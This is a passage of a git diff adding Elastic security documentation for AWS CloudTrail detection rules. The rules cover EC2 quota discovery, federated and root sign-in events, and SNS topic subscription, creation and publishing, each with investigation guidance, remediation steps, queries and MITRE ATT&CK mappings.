instance. + +**Correlate with follow-on activity** +- Search for subsequent EC2-related actions such as `RunInstances`, `RequestSpotInstances`, `CreateLaunchTemplate`, or `ModifyInstanceAttribute` following the quota discovery. +- Review recent IAM activity for the same principal, including access key creation, role assumptions, or policy changes. + +**Assess intent and risk** +- Determine whether this activity aligns with a known operational task (capacity planning, onboarding, automation testing), or whether it represents unexplained reconnaissance behavior. +- If the principal is newly created, rarely used, or exhibiting other anomalous behavior, treat this as high risk. + + +*False positive analysis* + +- Multi-region quota discovery may be legitimate in organizations with global deployments, centralized cloud governance, or automated capacity monitoring. +- Infrastructure-as-code pipelines, quota management tools, or internal cloud platforms may periodically enumerate quotas. + + +*Response and remediation* + +- If the activity is unauthorized or suspicious, immediately rotate or disable access keys associated with the principal and revoke active sessions. +- Review CloudTrail activity for evidence of follow-on abuse, particularly EC2 instance launches, network changes, or IAM modifications. +- Apply tighter IAM permissions to restrict access to Service Quotas APIs where not explicitly required. +- Enforce MFA on IAM users and consider conditional access controls (such as source IP or VPC restrictions) for sensitive roles. +- Notify security operations and cloud platform teams to assess potential impact and determine whether containment actions (such as SCP enforcement or account isolation) are required. +- Update detection coverage to monitor for EC2 provisioning attempts following quota discovery to catch resource abuse early. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* METADATA _id, _version, _index + +// filter for GetServiceQuota API calls +| where + data_stream.dataset == "aws.cloudtrail" + and event.provider == "servicequotas.amazonaws.com" + and event.action == "GetServiceQuota" + +// truncate the timestamp to a 30-second window +| eval Esql.time_window_date_trunc = date_trunc(30 seconds, @timestamp) + +// dissect request parameters to extract service and quota code +| dissect aws.cloudtrail.request_parameters "{%{?Esql.aws_cloudtrail_request_parameters_service_code_key}=%{Esql.aws_cloudtrail_request_parameters_service_code}, %{?quota_code_key}=%{Esql.aws_cloudtrail_request_parameters_quota_code}}" + +// filter for EC2 service quota L-1216C47A (vCPU on-demand instances) +| where Esql.aws_cloudtrail_request_parameters_service_code == "ec2" and Esql.aws_cloudtrail_request_parameters_quota_code == "L-1216C47A" + +// keep only the relevant fields +| keep + Esql.time_window_date_trunc, + aws.cloudtrail.user_identity.arn, + cloud.region, + Esql.aws_cloudtrail_request_parameters_service_code, + Esql.aws_cloudtrail_request_parameters_quota_code, + aws.cloudtrail.request_parameters, + @timestamp, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.ip, + cloud.account.id, + user_agent.original, + source.as.organization.name, + data_stream.namespace + +// count the number of unique regions and total API calls within the time window +| stats + Esql.cloud_region_count_distinct = count_distinct(cloud.region), + Esql.event_count = count(*), + Esql.aws_cloudtrail_request_parameters_values = VALUES(aws.cloudtrail.request_parameters), + Esql.event_timestamp_values = VALUES(@timestamp), + Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.source_ip_values = VALUES(source.ip), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.source_as_organization_name_values = VALUES(source.as.organization.name), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn + +// filter for API calls in more than 10 regions within the 30-second window +| where + Esql.cloud_region_count_distinct >= 10 + and Esql.event_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sign-in-console-login-with-federated-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sign-in-console-login-with-federated-user.asciidoc new file mode 100644 index 0000000000..eebdae51af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sign-in-console-login-with-federated-user.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-aws-sign-in-console-login-with-federated-user]] +=== AWS Sign-In Console Login with Federated User + +Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ + +*Tags*: + +* Domain: Cloud +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sign-In Console Login with Federated User* + + +Federated users in AWS are granted temporary credentials to access resources, often without the need for a permanent account. This setup is convenient but can be risky if not properly secured with multi-factor authentication (MFA). Adversaries might exploit this by using stolen or misconfigured credentials to gain unauthorized access. CloudTrail alone cannot reliably indicate MFA usage for federated logins. This rule surfaces potentially risky access for analyst review and IdP correlation. + + +*Possible investigation steps* + + +- **Identify the prinicipal involved** + - `aws.cloudtrail.user_identity.arn` (federated session ARN) + - `aws.cloudtrail.user_identity.session_context.session_issuer.*` (role ARN/name, account) of the identity that created the federated session. + - Find the corresponding IdP login around the same time and verify MFA was required and passed. If IdP shows **no MFA**, raise severity. + +- **Investigate the source context** + - examine `source.ip`, ASN, `geo` fields, and `user_agent.original` + - Compare against normal IP ranges, known user-agents and expected locations for this identity + +- **Federation token pivot:** Look for a nearby `signin.amazonaws.com` `GetSigninToken` API call. + - **More suspicious:** token creation and console login from different public IPs/ASNs/geo fields. + - **Less suspicious:** same IP and expected user agents within ~10–15 minutes (typical operator behavior). + +- **Rareness/anomaly signals:** new/rare role or session issuer, rare source IP/ASN/geo, unusual time-of-day, multiple ConsoleLogin events from disparate networks in a short window. + +- Review recent activity associated with the federated user to identify any unusual or unauthorized actions that may have occurred following the login event. + +- Assess the configuration and policies of the Identity Provider (IdP) used for federated access to ensure MFA is enforced and properly configured for all users. + + + +*False positive analysis* + +- Organizations using SSO for console access will routinely see federated `ConsoleLogin` where CloudTrail shows `MFAUsed: "No"` — this is expected due to IdP-side MFA. +- Internal tools/automation that create federation links (`GetSigninToken`) for operators. +- Maintain allow-lists for corp/VPN CIDRs, approved ASNs, and known automation user-agents. + + +*Response and remediation* + +- If IdP confirms MFA and the source context is expected: document and close. +- If IdP shows no MFA or context is suspicious: + - Notify the security team and relevant stakeholders about the potential security breach to ensure coordinated response efforts. + - Disable/lock the IdP account pending review; invalidate IdP sessions if supported. + - Temporarily restrict access (e.g., SCPs, session policies, IP-based conditions). + - Conduct a thorough review of AWS CloudTrail logs to identify any suspicious activities or unauthorized access attempts associated with both the intitiating user and the federated user account. + - Hunt for a preceding `GetSigninToken` from a different IP/ASN/UA (possible token relay). + - Ensure IdP policy enforces MFA for AWS app access; re-verify role trust and least-privilege policies. +- Implement or enforce multi-factor authentication (MFA) for all federated user accounts to enhance security and prevent similar incidents in the future. +- Review and update IAM policies and roles associated with federated users to ensure they follow the principle of least privilege. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "signin.amazonaws.com" and + event.action : "ConsoleLogin" and + aws.cloudtrail.user_identity.type: "FederatedUser" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sign-in-root-password-recovery-requested.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sign-in-root-password-recovery-requested.asciidoc new file mode 100644 index 0000000000..4edf322655 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sign-in-root-password-recovery-requested.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-aws-sign-in-root-password-recovery-requested]] +=== AWS Sign-In Root Password Recovery Requested + +Identifies a password recovery request for the AWS account root user. In AWS, the PasswordRecoveryRequested event from signin.amazonaws.com applies to the root user’s “Forgot your password?” flow. Other identity types, like IAM and federated users, do not generate this event. This alert indicates that someone initiated the root password reset workflow for this account. Verify whether this was an expected action and review identity provider notifications/email to confirm legitimacy. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://web.archive.org/web/20230930161727/https://www.cadosecurity.com/an-ongoing-aws-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sign-In Root Password Recovery Requested* + + +In AWS, a `PasswordRecoveryRequested` event from `signin.amazonaws.com` is only generated for the root user during the “Forgot your password?” workflow. Other identity types (IAM or federated users) do not trigger this event. A root password recovery request is a critical identity security event that could indicate a legitimate recovery by the account owner or a malicious attempt to gain full administrative access. + + +*Possible investigation steps* + + +- **Verify the event details.** + Review the alert fields (`source.ip`, `user_agent.original`, `cloud.region`, and `@timestamp`) to confirm when and from where the request originated. + +- **Confirm legitimacy.** + Contact the account owner or credential custodian to verify whether they initiated the password recovery. + AWS will also send an email notification to the root account email address, check whether the owner received and acknowledged this. + +- **Check CloudTrail for related events.** + Search for any subsequent `ConsoleLogin` events for the root user, or IAM changes (for example, `CreateAccessKey`, `CreateUser`, or `AttachUserPolicy`) shortly after the recovery request. + +- **Assess IP reputation and location.** + Validate whether the `source.ip` aligns with known admin networks or expected geographies. + Suspicious indicators include foreign IPs, anonymization services, or unfamiliar user agents. + +- **Correlate with other alerts.** + Review other AWS security detections (for example, root logins, MFA disablement, or IAM policy changes) around the same timeframe. + + +*False positive analysis* + + +- **Expected maintenance activity.** + If the root account owner confirms that the password reset was intentional (for example, for account recovery or planned credential rotation), the alert may be safely dismissed. +- **Testing or account verification.** + Security or compliance teams occasionally test password recovery flows. Confirm via ticketing or planned maintenance documentation. + + +*Response and remediation* + + +**Immediate actions** +- **If confirmed legitimate:** + - Ensure that MFA is enabled and operational for the root account. + - Encourage rotation of the root password if not recently updated. +- **If unconfirmed or suspicious:** + - Immediately reset the root password using the legitimate AWS recovery email link. + - Review the AWS account’s email for password-recovery notifications and secure that inbox (change its password, enable MFA). + - Check for new successful root logins or unexpected IAM changes since the recovery attempt. + +**Evidence preservation** +- Export the `PasswordRecoveryRequested` event from CloudTrail (±30 minutes). +- Preserve all `signin.amazonaws.com` and root `ConsoleLogin` events for the next 24 hours. +- Store this evidence in a restricted S3 bucket with Object Lock enabled. + +**Scoping and investigation** +- Review all root-level activities within the past 24–48 hours. + Focus on administrative actions such as `CreateAccessKey`, `UpdateAccountPasswordPolicy`, or `DisableMFA`. +- Correlate with GuardDuty findings and AWS Config change history for any unauthorized modifications. + +**Recovery and hardening** +- Confirm MFA is enforced on the root account. +- Rotate all root credentials and ensure no access keys exist for the root user (root keys should never be active). +- Secure the associated email account (password reset notifications are sent there). +- Enable Cloudtrail, GuardDuty, Security Hub, and AWS Config across all regions. +- Review account recovery procedures to ensure multiple custodians are aware of the legitimate process. + + +*Additional information* + + +- **AWS Incident Response Playbooks:** + and https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-CredCompromise.md[`IRP-Credential-Compromise.md`] for procedures related to root account credential recovery and unauthorized access attempts. +- **AWS Customer Playbook Framework:** + See https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Compromised_IAM_Credentials.md[`Compromised_IAM_Credentials.md`] for guidance on containment, evidence collection, and recovery validation. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html[AWS account root user best practices]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:PasswordRecoveryRequested and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-rare-protocol-subscription-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-rare-protocol-subscription-by-user.asciidoc new file mode 100644 index 0000000000..86d0da8de2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-rare-protocol-subscription-by-user.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-aws-sns-rare-protocol-subscription-by-user]] +=== AWS SNS Rare Protocol Subscription by User + +Identifies when a user subscribes to an SNS topic using a new protocol type (ie. email, http, lambda, etc.). SNS allows users to subscribe to recieve topic messages across a broad range of protocols like email, sms, lambda functions, http endpoints, and applications. Adversaries may subscribe to an SNS topic to collect sensitive information or exfiltrate data via an external email address, cross-account AWS service or other means. This rule identifies a new protocol subscription method for a particular user. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Subscribe.html +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Tactic: Impact + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SNS Rare Protocol Subscription by User* + + +This rule identifies when an SNS topic is subscribed to by a rare protocol for a particular user. While subscribing to SNS topics is a common practice, adversaries may exploit this feature to collect sensitive information or exfiltrate data via an external email address, mobile number, or cross-account AWS service like Lambda. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed using a protocol for the first time. + + +*Possible Investigation Steps* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the subscription. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- **Review the SNS Subscription Event**: Analyze the specifics of the `Subscribe` action in CloudTrail logs: + - **Topic**: Look at the `aws.cloudtrail.request_parameters` field to identify the SNS topic involved in the subscription. + - **Protocol and Endpoint**: Review the `aws.cloudtrail.request_parameters` field to confirm the subscription's protocol and endpoint, if available. Confirm if this endpoint is associated with a known or trusted entity. + - **Subscription Status**: Check the `aws.cloudtrail.response_elements` field for the subscription's current status, noting if it requires confirmation. +- **Verify Authorization**: Evaluate whether the user typically engages in SNS subscription actions and if they are authorized to do so for the specified topic. +- **Contextualize with Related Events**: Review related CloudTrail logs around the event time for other actions by the same user or IP address. Look for activities involving other AWS services, such as S3 or IAM, that may indicate further suspicious behavior. +- **Check for Publish Actions**: Investigate for any subsequent `Publish` actions on the same SNS topic that may indicate exfiltration attempts or data leakage. If Publish actions are detected, further investigate the contents of the messages. +- **Review IAM Policies**: Examine the user or role's IAM policies to ensure that the subscription action is within the scope of their permissions or should be. + + +*False Positive Analysis* + + +- **Historical User Actions**: Verify if the user has a history of performing similar actions on SNS topics. Consistent, repetitive actions may suggest legitimate usage. +- **Scheduled or Automated Tasks**: Confirm if the subscription action aligns with scheduled tasks or automated notifications authorized by your organization. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: If the subscription was unauthorized, take appropriate action to cancel it and adjust SNS permissions as necessary. +- **Strengthen Monitoring and Alerts**: Configure monitoring systems to flag similar actions involving sensitive topics or unapproved endpoints. +- **Policy Review**: Review and update policies related to SNS subscriptions and access, tightening control as needed to prevent unauthorized subscriptions. +- **Incident Response**: If there is evidence of malicious intent, treat the event as a potential data exfiltration incident and follow incident response protocols, including further investigation, containment, and recovery. + + +*Additional Information* + + +For further guidance on managing and securing SNS topics in AWS environments, refer to the https://docs.aws.amazon.com/sns/latest/dg/welcome.html[AWS SNS documentation] and AWS best practices for security. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "Subscribe" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: One-Way Communication +** ID: T1102.003 +** Reference URL: https://attack.mitre.org/techniques/T1102/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-topic-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-topic-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..68114b3f71 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-topic-created-by-rare-user.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-21-aws-sns-topic-created-by-rare-user]] +=== AWS SNS Topic Created by Rare User + +Identifies when an SNS topic is created by a user who does not typically perform this action. Adversaries may create SNS topics to stage capabilities for data exfiltration or other malicious activities. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_CreateTopic.html +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Resource Development +* Tactic: Impact + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS SNS Topic Created by Rare User* + + +This rule detects the creation of an AWS Simple Notification Service (SNS) topic by a user who does not typically perform this action. Adversaries may create SNS topics to facilitate data exfiltration or other malicious activities. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time by a user or role. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Examine `aws.cloudtrail.user_identity.arn` to determine **who** created the SNS topic. + - Identify whether the actor assumed a privileged IAM role (`aws.cloudtrail.user_identity.type: "AssumedRole"`) or used a long term access keys (`aws.cloudtrail.user_identity.access_key_id`). + - Check `user_agent.original` to determine if this action was performed via the AWS CLI, SDK, or Console. + - If `aws-cli` was used, review whether it aligns with typical automation or administrative behavior. + - Review `source.ip` and `source.geo` fields to confirm if the request originated from a trusted or unexpected location. + +**Evaluate the SNS topic creation** + - Check `aws.cloudtrail.request_parameters` for the SNS topic name and determine whether it appears suspicious (e.g., random strings, unusual keywords). + - Verify `cloud.region` and `cloud.account.id` to ensure the SNS topic was created in an expected environment. + - Identify additional actions **before or after** this event using `event.action` values like: + - `Subscribe` + - `Publish` + - `SetTopicAttributes` + - These may indicate follow-up steps taken to misuse the SNS topic. + +**Analyze potential malicious intent** + - Check if this user has previously created SNS topics using historical CloudTrail logs. + - Look for multiple topic creations in a short period, which may suggest an automation script or malicious behavior. + - If `aws.cloudtrail.user_identity.arn` references an EC2 instance role, verify whether that instance typically performs SNS operations. + - Review whether new subscriptions were added (`Subscribe` API action) to forward data externally. + - If an SNS topic was configured to trigger Lambda functions or S3 events, it may indicate an attempt to persist in the environment. + + +*False positive analysis* + +- Check whether the SNS topic creation aligns with known DevOps, automation, or monitoring activities. +- If the user typically interacts with SNS, consider allowlisting expected IAM roles for this action. +- Some AWS services may auto-create SNS topics for alerts and monitoring. Confirm whether the creation was system-generated. + + +*Response and remediation* + +- **Confirm Authorization**: + - If the user was not expected to create SNS topics, verify whether their IAM permissions should be restricted. + - If unauthorized, disable the access keys or IAM role associated with the event. +- **Monitor for Further SNS Modifications**: + - Set up additional monitoring for SNS Publish or Subscription events (`Publish`, `Subscribe`). +- **Investigate for Persistence**: + - Check whether the SNS topic is being used as a notification channel for Lambda, S3, or other AWS services. +- **Enhance IAM Policy Controls**: + - Consider enforcing least privilege IAM policies and enabling multi-factor authentication (MFA) where applicable. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "CreateTopic" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-topic-message-publish-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-topic-message-publish-by-rare-user.asciidoc new file mode 100644 index 0000000000..1d577f28d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sns-topic-message-publish-by-rare-user.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-21-aws-sns-topic-message-publish-by-rare-user]] +=== AWS SNS Topic Message Publish by Rare User + +Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Publish.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Lateral Movement +* Tactic: Exfiltration +* Tactic: Impact + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS SNS Topic Message Publish by Rare User* + + +This rule identifies when a message is published to an SNS topic by a user who has rarely or never published messages before. This activity could indicate adversarial actions, such as using SNS topics for phishing campaigns, data exfiltration, or lateral movement within an AWS environment. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time by a user or role. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Resource**: + - **User Identity and Role**: Examine the `aws.cloudtrail.user_identity.arn` to identify the user or role responsible for publishing the SNS message. Verify whether this actor is authorized to publish messages to SNS topics. + - **Access Key Details**: Review the `aws.cloudtrail.user_identity.access_key_id` to determine the access key used. + - **SNS Topic ARN**: Analyze `aws.cloudtrail.resources.arn` to confirm whether the SNS topic is critical, sensitive, or used for authorized purposes. + +- **Evaluate the Context of the SNS Message**: + - **Published Message Details**: AWS redacts the message content in CloudTrail logs, but you can view the message ID, subject, and other metadata. Investigate the message details for any indicators of malicious content. + - **Message Recipients**: Investigate the subscriptions associated with the SNS topic to identify if messages were sent to unauthorized or unexpected recipients. + +- **Analyze Source Information**: + - **Source IP Address**: Examine the `source.ip` field to identify the origin of the activity. Unusual IP addresses or geolocations may indicate unauthorized access. + - **User Agent**: Review `user_agent.original` to determine the tool or client used for publishing the SNS message. Automated tools or unexpected clients (e.g., `Boto3` from an unknown host) may signify misuse. + +- **Review Historical Activity**: + - **Actor’s Past Behavior**: Identify whether the user has published messages to SNS topics before. Review similar past events for context. + - **Frequency and Patterns**: Examine the time and frequency of messages published by the same user or to the same SNS topic to detect anomalies. + +- **Correlate with Other Events**: + - **IAM or CloudTrail Events**: Look for events such as `AssumeRole`, `CreateAccessKey`, or other API actions associated with the same user ARN. + - **Unusual IAM Role Activity**: Determine if the actor has assumed roles or performed administrative tasks atypical for their role. + + +*False Positive Analysis* + + +- **Routine Operational Use**: + - Confirm if the publishing activity aligns with standard operational tasks or automation scripts. + - Validate whether new or rare users were recently granted permissions for publishing messages to SNS topics. + +- **Testing or Monitoring Scripts**: + - Automated testing or monitoring tools may 